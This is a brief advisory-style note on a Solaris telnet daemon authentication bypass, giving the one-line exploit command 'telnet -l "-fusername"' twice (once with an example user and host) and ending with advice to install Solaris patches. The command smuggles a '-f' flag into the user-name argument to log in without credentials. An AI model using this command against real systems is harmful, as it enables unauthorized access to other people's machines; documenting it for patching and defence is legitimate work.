Solaris Telnet Authentication Bypass

In some Solaris versions, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

telnet -l "-fusername" [hostname]

Example:

  1. telnet -l "-ftestuser" SolarisAdminServer
Hint:
To fix this bug/issue, go ahead and install all the Solaris patches for that particular version using this link Patches and Updates .
